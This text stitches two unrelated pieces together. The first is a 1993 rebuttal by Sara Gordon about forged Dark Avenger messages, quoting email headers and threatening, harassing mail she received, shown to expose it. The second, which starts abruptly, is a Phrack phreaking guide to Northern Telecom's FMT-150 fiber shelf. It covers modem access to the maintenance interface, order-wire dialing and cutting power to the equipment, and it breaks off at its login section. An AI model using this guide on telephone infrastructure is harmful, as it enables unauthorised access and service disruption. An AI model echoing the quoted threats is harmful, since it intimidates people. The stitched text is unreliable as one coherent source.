From: bontchev@informatik.uni‑hamburg.de (Vesselin Bontchev) Message‑Id: <9310120933.AA22605@fbihh.informatik.uni‑hamburg.de> Received: by fbihh.informatik.uni‑hamburg.de (5.65+/FBIHH‑1.21); id AA22605; Tue, 12 Oct 93 10:33:45 +0100

Subject: Re: urgent

To: vfr@netcom.com

Date: Tue, 12 Oct 1993 10:33:42 +0100 (MET)

In‑Reply‑To: <9310120331.AA01134@netcom4.netcom.com> from "sara" at Oct 11, 93 08:31:48 pm

X‑Mailer: ELM [version 2.4 PL23]

Content‑Type: text

Content‑Length: 2211

Status: OR

....blah blah..(deleted)

So, here is my official statement.

I hereby confirm that when I met Sarah S. Gordon in March 1993 in New York, she showed me the original source of the Commander Bomber virus. It was obviously a source and not a disassembly, and it was very similar to a couple of other sources of Dark Avenger's programs that I have seen. When I say "similar" I mean such things like label names, commenting style, layout of the text and so on. Of course, this is not a proof that it has been really produced by the Dark Avenger, but this is very probable. Sarah didn't give me a copy of it and I didn't insist, because she told me that she has promised to Dark Avenger not to give this source to anybody. To my knowledge, nobody else has the source.

Regards,

Vesselin

‑ ‑‑

Vesselin Vladimirov Bontchev Virus Test Center, University of Hamburg Tel.:+49‑40‑54715‑224, Fax: +49‑40‑54715‑226 Fachbereich Informatik ‑ AGN < PGP 2.3 public key available on request. > Vogt‑Koelln‑Strasse 30, rm. 107 C e‑mail: bontchev@fbihh.informatik.uni‑hamburg.de 22527 Hamburg, Germany

Keep in mind, Vesselin is not a product developer and has no affiliation with any developers. He is a Doctoral Student who has himself been accused of being the Dark Avenger.

The Bulgarian Secret Police seemed to believe my

contact was legitimate enough. I received an "invitation" to meet with them. I declined this "invitation" because I am not interested in the terrorist tactics of a desperate government to blame a hacker and virus writer for the problems of the country in general.

I had to prove my contact lots of ways, just to get the article in print. Why did I want this article in print? One simple reason. To show this virus writer as not some evil sinister monster from Hell waiting to destroy the earth's supercomputer. Just as a person like the rest of us. Did it accomplish it? I think it did, from the response I got from most people. Did ‑I‑ personally 'benefit' from it? In some ways, I did.

This reminds me, a certain ex‑virus exchange sysop told me that he was going to make me expose the Dark Avenger; that he was going to find out his true identity, where no one else could; that he would make up some story, any story, to force Dark Avenger out into the open. Well, I don't narc on my friends. I am sure you can appreciate that.

Here they are:

(Private, compromising parts are X'd out)

1st Message:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑

>From daemon@digsys.bg Wed Jul 14 19:07 EDT 1993

Received: from danbo.digsys.bg by XXXXXXXXXXXXXXXXXXXXXX; Wed, 14 Jul 93 19:07:3 4 ‑0400

Return‑Path: <dav@danbo.digsys.bg>

Received: by XXXXXXXXXXXXXX (5.67/1.35)

id AA12850; Thu, 15 Jul 93 02:04:46 +0300

Message‑Id: <9307142304.AA12850@XXXXXXXXXXXX>

To: XXXXXXX

From: dav@danbo.digsys.bg

Date: Wed, 14 Jul 93 23:41:36 +0300

Subject: No subject

Status: RO

kohntark‑

i just talked to a friend of mine who said you dont like her user log. why shouldnt i call her from bulgaria? i call whoever i want to, and this is not your problem.

by the way, she sent me your mail. for your information, i do

know how much money she made of that interview. and i also think that this is none of your business.

also, maybe it would be good for you to know, that by offending her, you are offending me, too. keep this in mind.

<dav>

Second Message:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>My mail with her is none of your business either.

i dont think so, dude.

maybe you need to read the next few lines again,

in case you missed them.

>>

>> also, maybe it would be good for you to know, that by offending >> her, you are offending me, too. keep this in mind.

>>

>> <dav>

>

>HA HA! and you expect me to believe that you are the DA!

>send me a proof: an email address from bulgaria or tell me

>how many addressing modes does the MTE have?

>

>nice try.

well, what do you think the domain .bg in my email address stands for? maybe you think its kameroon?

as for the mte, im not giving you any info.

i need not prove anything to anybody, and certainly dont plan to waste more of my time talking to you. you have been warned.

<dav>

Third Message:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

oh, yeah. sure it did.

only you will not know where something else came from, when it knocks on your door. i have nothing more to say.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Odd. He did not include the mail he forged using the address I gave him in good faith to WIRED magazine.

He also did not include the mail he forged to Anthony Naggs,

an engineer, in which he made the following statements:

> > From @gate.demon.co.uk,@anon.penet.fi:darkavenger@sofia.somewhere.bg Fri Sep 17 18:16:32 1993

> > Received: from post.demon.co.uk by ubik.demon.co.uk with SMTP > > id AA4544 ; Fri, 17 Sep 93 18:16:22 GMT

> > Received: from post.demon.co.uk via puntmail for amn@ubik.demon.co.uk; > > Fri Sep 17 14:49:12 BST 1993

> > Received: from gate.demon.co.uk by post.demon.co.uk id gk03845; > > 17 Sep 93 14:09 BST

> > Received: from anon.penet.fi by gate.demon.co.uk id aa01230;

> > 17 Sep 93 6:07 GMT‑60:00

> > Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^see originating mail location?

> > id AA15730; Fri, 17 Sep 93 07:58:28 +0300

> > From: DarkAvenger@sofia.somewhere.bg

> > Message‑Id: <9309170458.AA15730@anon.penet.fi>

> > Return‑Path: <DarkAvenger@sofia.somewhere.bg>

> > Date: Thursday, 16 Sept 93 22:02:54

> > To: amn@ubik.demon.co.uk

> > MMDF‑Warning: Parse error in original version of preceding line at gate. demon.co.uk

> > Subject: NO i am NOT

> > Status: RO

>

> NO , I have not found "more interesting thigs to do"!

> If you don't know it yet, I am still active and will release

> work at the end of the year.

> Also in case you don't know the VNI interview was mostly made up. > I haven't talked to Sara in almost a year, and I will never again. > She betrayed me.

> She will deny this and try to exploit my name more.

> Until the end of year.

>

> Then again.. what do you know? you are like the weasel: another > stupid engineer.. you know nothing about viruses!

>

> UNtil then..

>

>

>

>

‑‑‑‑‑‑‑

Dark Avenger spells my name with an "h" :) And, he doesn't mail people from cxxxxx.ic.xxxxxx.edu :) And, I think this pretty clearly illustrates the motivations and methods of Kohntark.

In my ignorance, I blindly trusted the three cryptic replies to be true, even thought whoever replied refused to give out trivial information such as the number of addressing modes for a 2 year old encryption engine (MTE) and spelled Cameroon with a 'k' (Check out Sara Gordon's spelling of URUGUAY in VIRUS‑L Volume 6 Issue 120 ‑v06i120)

Shortly after other unrelated discussions and a CUD post from Sara(h) in which I was mentioned (unnamed), someone warned me of several posts in NUKENET by an alleged dark avenger and Todor Todorov from an account belonging to the last, mentioning me and Aristotle.

Sheesh. Kameroon with a ‑K‑ is the German spelling. It is also the most common spelling a European would use. The "correct" spelling, for anyone who cares, is Cameroun, because it is mainly a French speaking colony; A small portion of it is English‑speaking and uses Cameroon. Most likely, An American would use Cameroon. Consult your nearest linguist or historical specialist for verification. Talk to discman about my linguistic aptitude. Do not attempt this at home.

Kohntark spelled SKISM incorrectly in one of his messages to me. He must be the Dark Avenger. No, wait..he onlys ‑wants‑ to be...

Those messages in the NukeNet were prompted by the virus exchange sysop mentioned earlier asking Todor Todorov to contact Dark Avenger and ask him if he had really talked to me. Todor ‑is‑ a friend of mine. He assisted me in my study of virus exchange bbs and their impact on end users. Todor put the mail on some Bulgarian BBS, and Dark Avenger answered it. Apparently, his answer was not liked very well by this Aristotle and others people, because an amateur linguistic analysis followed, detailing how much like me the Dark Avenger appeared to be.

I employed the services of a professional linguist, who stated that indeed there are striking similarities. This can be attributed to the fact that Dark Avenger and I have spent many hours together.

And, I usually type in lower case, in E‑Mail messages, etc. Come to think of it, most of the hackers I know must be the Dark Avenger if this is the qualification :)

In those messages I was referred to as 'hotshot,' a word that Sara Gordon had used on me several times on our personal email exchange; It was then that I became highly suspicious of the whole matter.

Yes, I used this word. I use it all the time. So does Dark Avenger. It is a word we use to refer to certain people. It is a commonly used word in Bulgaria. It is not so common here, but it is there. They watch a lot of American television, and use a lot of words like this as well as a lot of profanity. Movies. Motherfucker and Asshole are two other words used a lot by Bulgarian hackers and virus writers. In fact, the word "motherfucker", which "proved" it was NOT a Bulgarian that posted as <dav> :) in the NuKeNet (since, as they said, NO Bulgarian would EVER use ‑this‑ word), was found in a virus of Bulgarian origin a very long time ago. Perhaps they should learn to disassemble the damned things before trying to say what's in them. In defense of NuKe (and believe me, there has been no love lost between some of those people and myself in the past), I think a lot of people were baited and led on by certain people.

I called Virginia's Virus Research Institute's sysop and owner, Aristotle to find out more about the posts and he bought to my attention the particular writing style of Sara(h) Gordon: She NEVER uses capital letters and apostrophes on her personal email, and always signs her name on the lower left hand corner. (She seldom signs her posts

Virginia Virus Research Institute is (was) The Black Axis BBS. The place that sold viruses for one hundred dollars per collection. Pretty enterprising, eh? Only, a lot of them were junk. The sysop is the same one who told me he was going to get the Dark Avenger to come forth, to 'Save my Name' or something like that. He also told me that if a new virus appeared, bearing the name 'Dark Avenger', people would want to 'catch' the virus writer again. And, guess what? Such a virus did appear. A crude hack of the Burma virus, with a text string included: DARKAVENGER :). And, it was this very sysop that uploaded it to a certain well known virus exchange BBS. Slick, huh? But definitely not the work of Dark Avenger.

However, this will not make me identify the Dark Avenger, assuming I did know the path to his door.

This same sysop also told me (when he closed his system) that he had intentionally tried to incite people, and had made some mistakes along the way in doing this. We all make mistakes. Unfortunately, Kohntark is making a really big mistake here.

Yes, I use lower case ALL THE TIME. And, like Dark Avenger, I sometimes do and sometimes do not use correct punctuation. Apparently Kohntark has not been around in the early days of <dav> postings on Fidonet. Oh, that's right. He does not read it. Well, if he had, he would have seen Dark Avenger had this 'style' a long time before I ever heard of computer viruses.

I am using upper case in this article (mostly) because when I write for a readership (as opposed to private mail, and online chats, etc.), I use correct form. Well, as correct form as I can.

nowadays and changes her user name in her vfr@netcom.com account every week!; for further proof of her writing style, please refer to public posts in VIRUS‑L Volume 6 #120; I also have over 100K of personal email exchange to prove this fact!)

Shame on me. I change my user name :) I am so El33t....

I'm too hexy for my shirt, too hexy for my shirt...blah blah

It was then that we realized that she was passing herself as Todor Todorov and the dark avenger (who could possibly verify their online identity?) and had infiltrated NUKENET..

HAHAHAHAHAHAAHHAAHHA oops, excuse me..hahahahahaha

This is ridiculous, as anyone who has checked will know. Todorov is happy to take calls from people about this matter; eminent

publicly (not anonymous) figures in the field know that I wrote the truth, and there really is nothing further to be said about this nonsense.

The writing style described corresponds exactly to the one on the posts I received from the 'dark avenger.' Shortly afterward the <dav@danbo.digsys.bg> account was cancelled and I learned the whole truth:

Oh my. My writing style corresponds exactly to Dark Avengers. It certainly does, when I want it to, or when I have been writing to him a lot. And, it does when I write e‑mail. So what? So does the style of a of people :) We are all Dark Avenger. If you counted the names of everyone who writes in lower case, makes spelling areas, and signs their mail in the lower left hand corner of messages, how many people do you think you would find?

About the account: Yes, it was cancelled. After Kohntark forged mail from that site, prompting a response from WIRED, I asked the system administrator to cancel the account so that no more such trickery could take place, requiring me to spend time trying to straighten it out. He

was happy to do it. He had more than a few problems with Dark Avenger ftping files in excess, and had only retained the account as a personal favor to me. <dav> (yes, that IS how he signs personal mail, e‑mail and some of his viruses) did not exactly be a nice boy on that system.

The danbo.digsys.bg Bulgarian site belongs to Daniel Kalchev, another self appointed AV researcher whose best claims to fame are submitting various Bulgarian viruses to Patricia Hoffman's VSUM!!

Self‑appointed? He is the administrator of the Internet there. I think Kohntark is not fully aware of just who Mr. Kalchev is.

(You can check this by doing a search on 'Kalchev' on the current VSUMs or you can contact him thru: <daniel@danbo.sigsys.bg> )

No. The best address is daniel@digsys.bg. Mr. and Mrs. Kalchev both have accounts there, and you can reach them best if you use this address. And please do feel free to contact him. He will tell you that he has talked to Dark Avenger for a very long time. Long before digsys was on the internet, and long before I met either of them.

He is a very close friend of Sara(h) Gordon and he has an account in her VFR BBS (you can check this by logging into her system and checking the user list) and SHE has an account in digsys.bg under <sarah@danbo.digsys.bg> (this account is still valid as far as I know; notice the H after her name!)

Of course he is a very close friend of mine. He has visited me here, and has been a great help to me in my work. Yes, I do have an account there. It has been there since I was invited by the Bulgarian ACM to present my work on Computer Viruses at their International Computer Virus Conference. It was nice of Daniel to do this for me, to make it convenient for me to access my mail, as I could have it forwarded there.

We never did remove the account, as Bulgarian's prefer to mail in their own country for some reason. The H after my name is very simple: My name is Sarah Gordon. On the nets, I use Sara. When I am friends with someone, I use my given name. I do not like my given "familiar" name to be used in my articles or in e‑mail from people I don't know. It is a quirk, I guess. My papers are presented using the Sara variant :)

What I concluded is that is the DA would never get an account in such system as he HATES Daniel Kalchev!!!!

Another wrong conclusion.

The DA might not, but then the District Attorney usually doesn't :)

Wrong. and Right. He certainly did get an account there. Call Daniel Kalchev or mail him to ask him. He has had many conversations with Dark Avenger there. He does sure hate Daniel. In this one thing, Kohntark is correct. He hates him violently. And, he's been on his BBS for years. Where do you think he used to post messages FROM?

I tried repeatedly to act as intermediary between Dark Avenger and Kalchev, because they both have been very good to me. There was just no way to do it. Dark Avenger thinks Kalchev is (in his own words) "asshole hotshot with big company and lots of money, he can afford to give free accounts...". And yes, he used the word HOTSHOT. JUST LIKE ME.

This is what really happened: Sara(h) Gordon in her desperation to prove that she was in touch with the dark avenger, told her pal Daniel Kalchev to make an account under the dark avenger's name (<dav> this is how she always refers to him, even though he never signs his name that way (check the source code for his 'Dark Avenger' virus or the 'Commander Bomber' virus message name: [DAME])

No one has the source code for Commander Bomber that I know of except myself and Dark Avenger, as I previously noted. He has signed his name this way for a very long time, in his e‑mail. You can verify this easily enough by asking Todor, Daniel, Bontchev, or anyone who used to read his old posts. Sometimes he does, sometimes he doesn't, just like me.

From there she could email me messages that would come from Bulgaria and would be untraceable since she would log into her account in digsys.bg and log into the <dav> account internally from the same site in Bulgaria. (You can check where and when most of the people log from in most internet unix and vax sites)

:). If I wanted to mail Kohntark untraceable messages, I would not have to go to this extreme, as you well know :)

As it is expected from her, she has denied any of this. Some of her ridiculous explanations include things like "hotshot is a very common English word in Bulgaria" !!!

You might ask yourself what is the deal with the h? is it sara or sarah??

Well, I asked her the same question when I noticed this in one of the VNI interviews, where her name is spelled as Sarah.

She replied that this was a mistake of the publisher.

Mistake? well not really, it was another lie, meant to throw off any information and truth seekers, for example you can check her account in Daniel Kalchev's system:

I explained this previously. It was a mistake. VNI is not supposed to use my given entire familiar name. In fact, they did mess up. They did not use it in the Dark Avenger interview, despite I had put it there as "Sarah". I told Dark Avenger I would do this for him. He asked me to do it, but for some reason they did not. Later, they ‑did‑ use my given name in a totally different situation. I can't account for their errors.

<saraH@danbo.digsys.bg> , spelled with an H, another 'mistake of the publisher?'

:)

Other countless Sara Gordon lies are told in NUKE InfoJournal # 6.

In the last NuKe Journal, the authors posted some private mail of mine, and said "Look how nice she knows this public mail will be read"..at the same time, the posted some public mail, from my BBS, which I had forwarded to one of them as a reply, and said "Look how nasty she is when she thinks no one can see". All in all, their response to both letters prompted a lot of people to think I had ‑joined‑ NuKe. For the record, nope.

This behavior puts in question the validity of the VNI interviews and the reputation of Sara(h) Gordon as a serious (self appointed) 'virus researcher'

:)

IMHO the VNI interviews are a complete fabrication, meant only to boost her validity as a 'journalist', and to make her lots of money, charging for further 'interviews' to other magazines. (She has offered her paid 'interviewing' services to various other publications.)

:) Lots of money? Well, first off, I told you how the Dark Avenger interview profited me. It didn't. Secondly, yes, I do write for magazines and I sell the articles. Some, I give away. I don't do any of this for the money. As for other interviewing, I recently interviewed two virus writers (one who has stopped, one who has not), and they are quite pleased with the articles. I'll ask them to contact you personally to tell you as the article is not yet in print. Keep in mind, I have literally no control over commentary by editors, omissions, etc.

To the best of my knowledge the information I present here is true and can be checked.

Yes, it can be checked, and I hope you check it and print what you find along with this commentary.

I chose to publish this information, despite threats against my well being and countless lies about me propagated by Sara(h) Gordon.

Now, about threats and lies. Here is the sort of mail I have received from Kohntark. In the interest of space, I will send you the headers, etc., so that you can see them and include here only the sort of diatribe he has been so vehemently sending me.

I contacted his system administrator after this continued for such a long time. I'm not a Cori. I don't take every "hey, wanna have phone sex" message as a potential threat, I don't call people's probation officers for the hell of it, I don't ring up sysadmins at the drop of a hat to accuse innocent people of causing trouble. And, I discussed this situation with a lot of people, hackers and virus writers, friends and foes, prior to taking this action. There's no way to know over the nets if someone is really a maniac or if they are just playing around. In this case, considering the nature of the mail, I did contact them.

First, the apology after he had gotten particularly nasty.

Organization: Anonymous contact service

Reply‑To: xxxxxx@anon.penet.fi

Subject: Apology

Date: Fri, 30 Jul 93 8:08:45 EDT

Status: OR

Sara:

I want to apologize for everything that I have said that you might have found offensive.

I drop all accusations I have made against you.

again, I am sorry.

I have no desire in creating any animosity, and / or bad publicity to my name or yours.

Sorry things got this silly and out of hand.

Please accept my apologies and let's drop the whole thing OK?

Thank you.

‑‑‑‑‑‑‑‑‑‑‑‑

Followed almost immediately by a forgery. What Kohntark did not realize is that I am in contact with Simon. In fact, I arranged for him to come to a virus conference, with all of his expenses paid. I am writing an article for 40‑HEX, and I immediately called Simon to ask what in the hell was this about. After he told me, I went back and checked the mail headers. Guess what I found?

From simon@skism.login.qc.ca Sat Jul 31 07:44:26 1993

Received: from anon.penet.fi by mail.netcom.com (5.65/SMI‑4.1/Netcom) id AA17333; Sat, 31 Jul 93 07:44:19 ‑0700

Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)

^^^^^^^^^^^^^^^^^^^^^^^^^^

id AA21213; Sat, 31 Jul 93 17:40:54 +0300

From: simon@skism.login.qc.ca

Message‑Id: <9307311440.AA21213@anon.penet.fi>

Return‑Path: <simon@sklism.login.ca>

****Notice: He misspelled skism. Maybe ‑he‑ is the Dark Avenger.

I mean, if spelling counts..***

Date: Fri, 30 Jul 93 12:01:02 EST

Subject: get real!

Apparently‑To: <vfr@netcom.com>

Status: OR

to vfr@netcom.com.... (Nobody)

what is the matter? everyone knows you are sara gordon, are you afraid to sign you own name now??

Yes sara gordon, i heard rumours that you are passing yourself as the dark avenger. It wouldn't surprise me since you are even afraid to sign your own postings.

‑‑‑‑‑‑‑‑

Ha. Actually he signed the above message at the bottom left:) He must be me in Real Life.... As we all have seen by now, if you sign the bottom left of your mail, you are Sara Gordon.

Then, here he tells me how he has proved yet another self‑appointed virus researcher wrong. Of course, the researcher in question is not wrong. He is Vesselin Bontchev, a rather pedantic but technically brilliant anti‑virus Doctoral student at the University of Hamburg. Kohntark seems obsessed with proving anti‑virus researchers wrong. It would make more sense to me to learn from the researchers. I am not talking about product developers or sales people, but researchers.

ME=Sara

HIM=Kohntark

ME: dont you get it? im sorry, i am not going to respond to all of this nonsense. maybe you can get vesselin to respond to you again, but i doubt it considering his opinion of your 'knowledge'...

HIM: I don't give a damn about what he thinks, I have shown the self appointed virus expert is wrong.That is all.

‑‑‑‑‑‑‑‑‑

and, here (i'm reverting to UNIX lower case now, i must be the dark avenger..), he begins his harassment again.

HIM: you don't have any children do you? It shows

Then, after he tell me he knows all about me, he proceeds to mail me to taunt me with addresses referring to my child.

From kohntark@youhavea10yearoldson.com Sun Aug 29 10:55:45 1993 Return‑Path: <kohntark@youhavea10yearoldson.com>

Received: from [193.64.138.3] by mail.netcom.com (5.65/SMI‑4.1/Netcom) id AA07061; Sun, 29 Aug 93 10:55:39 ‑0700

Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

id AA22796; Sun, 29 Aug 93 20:50:35 +0300

ME: am tired of your threats. the only danger you are to me

is to waste my time with this nonsense.

HIM: we will see.

HIM: Never underestimate the power of hate.

HIM: The end is coming.

HIM: Also: you said 'oh my name is spelled SARA, VNI misspelled it! yeah right ! you idiot!

you forgot who you are dealing here ha ha! not a fool like you!!! stupid tricks like changing your name can't defend you from thy mighty Kohntark!

prepare yourself!!

the end is near!

Obviously i have overestimated your intelligence..

My dog has a higher IQ..

"who is anthony naggs?.." DUHH!

Thanx for making my job easier he he.

You think you got me? sure.. go ahead.. fry that guy's account, you will be doing me a favour he he!

AH, and start looking for a new job.. you will need it soon after i am done with you

you idiot!

‑‑‑‑‑‑

He likes me to know he is watching me. Only, for a supreme UNIX hacker, he has not mastered the skills quite yet..note the paths again.. (baby copperfield is one of the names i used. i have red hair, and its a long story; someone asked me if i had read dickens and i replied 'yes, I've read baby copperfield'. CHFN followed :)

But this was a bit eerie mail. Love him?

From babycopperfield@haha.com Sun Sep 12 17:39:50 1993

Received: from anon.penet.fi by mail.netcom.com (5.65/SMI‑4.1/Netcom) id AA22703; Sun, 12 Sep 93 17:39:42 ‑0700

Received: from cxxxxx.ic.xxxxxx.edu by anon.penet.fi (5.67/1.35)

^^^^^^^^^^^^^^^^^^^^^^^^^

id AA24832; Mon, 13 Sep 93 03:39:00 +0300

From: babycopperfield@haha.com

Message‑Id: <9309130039.AA24832@anon.penet.fi>

Return‑Path: <babycopperfield@haha.com>

Date: Fri 13 Dec 66 00:00:00

To: <vfr@netcom.com> (Sara)

Subject: I know you are on...

Status: OR

hi!

i know you are logged on now...

shame we cannot talk,, you know friendly discussions ha ha..

i might call to your bbs.. can i upload your gif picture??

yes?

if i like you you might just get lucky ...

Love me.

‑‑‑‑‑‑

More of his article..

I am doing this to stop the lies and corruption fostered by the Anti‑Virus industry.

‑‑‑‑‑‑‑‑‑

What do you think? Is he doing ‑this‑ to stop the lies and corruption? It seems to me that the anti‑virus industry would benefit from the Dark Avenger coming back onto the scene. They could sell more software, get the whole hacking community attacked by people who are afraid enough already. Why we could get a whole entire Legion of Virus Fighters up in arms, eh?

If Kohntark wanted to do this 'stopping of lies and corruption', he would not be helping to recreate the myth of the Dark Avenger. He would not be impersonating him, harassing me, and telling people (impersonating Dark Avenger) that he will still release viruses into the wild. I also do not like lies and corruption, and work very hard to stop it. I do not profit from it in any substantial way.

I run a free BBS: I distribute anti‑virus software for free, and encourage people to choose software that will work for them in their situation. I don't go for the big scare tactics used by some companies, and I don't recommend those products. Not only because I don't like their marketing, but because their products are not as efficient/accurate as other products. I don't like that we have to have these products, but we do. It's a fact of life. If we can educate people on the real situation with viruses, we can stop a lot of this "Let's get those bad virus writers" before it's too late. We don't need another Dark Avenger. We don't need laws that will infringe on our freedoms.

If anyone takes this "Sara and the Dark Avenger scam" even half‑way seriously, they can email me, and ask me whatever specific questions they like. I also have a suggestion here, one that might even lead to some sort of agreement between this Kohntark and the rest of the hacker community that does not support lies and harassment. You call Todorov, e‑mail or call Bontchev. Ask them. I'll come to HoHoCon (if someone buys me a ticket; although Kohntark thinks I had better look for a job, the fact is I don't have a real job), and compile the bomber source code and MtE Source (not the pitiful disassemblies that appear on a lot of BBS, but the REAL source, supplied to me by <dav> when I questioned HIM to make sure he was the "Real Thing". I'll show you step by step how it compiles flawlessly and works. If after you confirm that to the best of your knowledge, what I am saying is true, then I think Kohntark owes me an apology. And, an apology to the rest of the virus writers and hackers who do not need or deserve to be portrayed as evil demented creatures

Northern Telecom's FMT-150B/C/D

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 13 of 27

****************************************

METRO P/H Presents

Northern Telecom's

FMT‑150B/C/D

Optical Fiber Digital Transmission System

Intro

This file will cover the FMT‑150, the equipment that sends info over the digital trunks using lasers. It is an accompaniment to our guide to remotes (COs). I will cover all the interesting and useful stuff. This file is mostly for SERIOUS phreaks, we'll have more non‑technical cool stuff coming up.

System Description

The FMT‑150 fiber optic transmission system combines DM‑13 multiplexers and 150 Mb/s Fiber Transports in compact shelf packages, I will refer to it as a shelf. The FMT‑150 product architecture supports subscriber loop and interoffice link applications using hub, drop/insert, repeater and terminal configurations. The following is what a FMT‑150 shelf system consists of.

FMT‑150B 1 DM‑13 multiplexer (multiplexes 3 signals into one signal of 44.736 Mb/s.) 1 150 Mb/s fiber interface 1 maintenance control unit 1 service channel unit (optional) 2 (or 4) power supply units

FMT‑150C 2 DM‑13 multiplexers

2 (or 4) power supply units

FMT‑150D 2 150 Mb/s fiber interfaces 2 service channel units (both optional) 2 maintenance control units 2 (or 4) power supply units

Maintenance

Service Channel Unit

Order‑wire Facility

Two voice channels per DS‑3 signal are provided for individual addressing using DIP switches on the SCU. Dial over a 4 wire headset/handset. (more in Order‑Wire)

Interfaces

The CRT (good old Cathode Ray Tube) Interface is an important system feature of the Maintenance Control Unit (MCU). You can plug in to a RS‑232 port directly (use a null‑modem cable) on the "shelf" or remotely via a modem (!). Also a Tandy 200 can be interfaced with the Maintenance Control Unit. The network configuration, the status of each node, and any alarm existing can be viewed on the terminal. The interface goes from 300 to 9600 baud. The software already present on the MCU is all that is needed, the interface need only support certain emulations (see Operation Procedures.) (hmmm... Could Radio Shack and Northern Telecom be butt buddies?) Also available is a

RS‑422 interface which provides a large number of alarm status and control points through the MCU. The port is labeled "Customer E2A" on the shelf. CAMMS is an extended feature

of the FMT‑150. It stands for Central Access Maintenance and Monitoring System which can also take advantage of the Maintenance features (see Operation Procedures). All this is, is a mini‑terminal, that can be installed and act like a CRT interface.

Specifications

When interfacing the CRT with a null modem cable, your cable should fit the diagram below.

Ä¿

1 OO 1

2 OO 3

3 OO 2

4 OO 8

5 O O 20

6 O O 7

7 O O 4

8 OO 5

20 OO 6

Pin Definitions

1. Ground 6. Data Set Ready

2. Transmit Data 7. Ground

3. Receive Data 8. Data Carrier Detect

4. Request to Send 9. Data Terminal Ready

5. Clear to Send

When interfacing your Hayes compatible (telephone connection) configure the DIP switches in this manner.

X=empty space O X O X X O X O

O=the switch's position X O X O O X O X

1 2 3 4 5 6 7 8

Alarms and Buttons

Listed below are some LED descriptions and button meanings that a phreak will find on the shelf.

LEDs Description

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MAJOR RED ‑ Service affecting failure

(run, they'll be there soon!)

MINOR YELLOW ‑ Non‑service affecting

failure.

FUSE ALARM RED ‑ A fuse blew

REM YELLOW ‑ An alarm has occurred at

a remote site.

Order‑wire Left GREEN ‑ Solid, Left order wire is

active, if flashing, incoming

call on left.

Order‑wire Right Same as above, but for Right

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BUTTONS Description

________________________________________

LP TEST Lights up all LEDs

ACO Turns off existing audible alarm LOC 1, 2, 3 (OW) Rings every site common to STX

signal 1, 2, and 3

EXP 1, 2, 3 (OW) Same as above

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Power Supply Unit

This is a seemingly 5V output power supply, which has a simple ON/OFF switch which is housed under a protective latch, pull this and have an instant phreak marathon (see REDUNDANCY at end of file.)

Equipment Configuration

The FMT‑150 system is suitable for a wide variety of applications, as follows:

* Access Networks

CO to Customer Serving Areas

CO to Digital Loop Carrier

CO to Switch Remote

CO to Customer Premises.

* Inter‑Office Trunk routes

* Broadband Applications such as Video

* Entrance Links to Radio Systems

* Dynamic Network Routing

* Stand‑Alone Multiplexer Applications with Radio

* Route Diversity

* Wide Area Network (WAN) Application

Order‑Wire

Order Wire

A buzzer is heard and a flashing LED is seen if a call is coming in, plug in a handset/headset connector into the jack on the shelf. To terminate the call pull the plug out or hit #. To dial, just plug in and dial four digits, wildcards are also allowed by use of the * key. The handset described is a Contempra Handset (NT2E36AA). A test set could also be used but the plug would have to be altered, its 4 wire, remember. Order Wire is only CO‑to‑CO communication. The jack can be plugged into the front of the FMT‑150 shelf. The dialing format is described below.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First digit: Indicates the type of call being made

Second, Third, and Indicated which site will be dialed. Fourth digits Address of the site is set via rotary switches located on the front edge of the SCU module.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First digit significance

1 = local call for STX ({Pseudo} Synchronous Transport Signal: First Level at 49.92 Mb/s [NT]) signal 2

2 = local call for STX signal 2

3 = local call for STX signal 3

(where'd 4 go?)

5 = express call for STX signal 1

6 = express call for STX signal 2

7 = express call for STX signal 3

The three following digits are not standard, so if you want to experiment with this hit a first digit and then three *'s

On the shelf there are buttons which act like speed dialing, the first three letters stand for LOCal or EXPress and the number is the signal, so EXP 2 would be broadcast call on STX signal 2, express channel.

Installation

A typical FMT‑150 Setup

Ä¿

Ground Bar

Ä´

Fuse & Alarm Panel A

Ä´ |

FMT‑150 Shelf |

Ä´ 7ft

FMT‑150 Shelf |

Ä´ |

Fiber Splice/Storage Panel or CAMMS V Ä´ <‑‑‑‑25.94in‑‑‑‑>

FMT‑150 Shelf

Ä´

FMT‑150 Shelf

Ä´

FMT‑150 Shelf

Ä´

FMT‑150 Shelf

Ä´

FMT‑150 or Rectifier Shelf

Ä´

FMT‑150 or Standby Batt. Shelf

Ä´

AC outlet Assy

Operation Procedures

Specifics on Interfacing

The RS‑232 serial interface supports the following terminals.

* DEC VT 100

* DEC VT 102

* DEC VT 220

* DEC VT 320

* FALCO

* IBM 3162 with VT 220 cartridge

* Wyse WY85 with VT100 Emulation

* Ramodom VT200 portable terminal

* Televideo 922

* Televideo 9220

* Tandy 200 (only with Multipoint Plus MCU:NT7H90CA/XC)

* CAMMS (only with Multipoint Plus: NT7H90CA/XC/FA)

* Cybernex (in 8‑bit mode only)

(Ok bros this is the part we are interested in so sit back)

Login Procedures

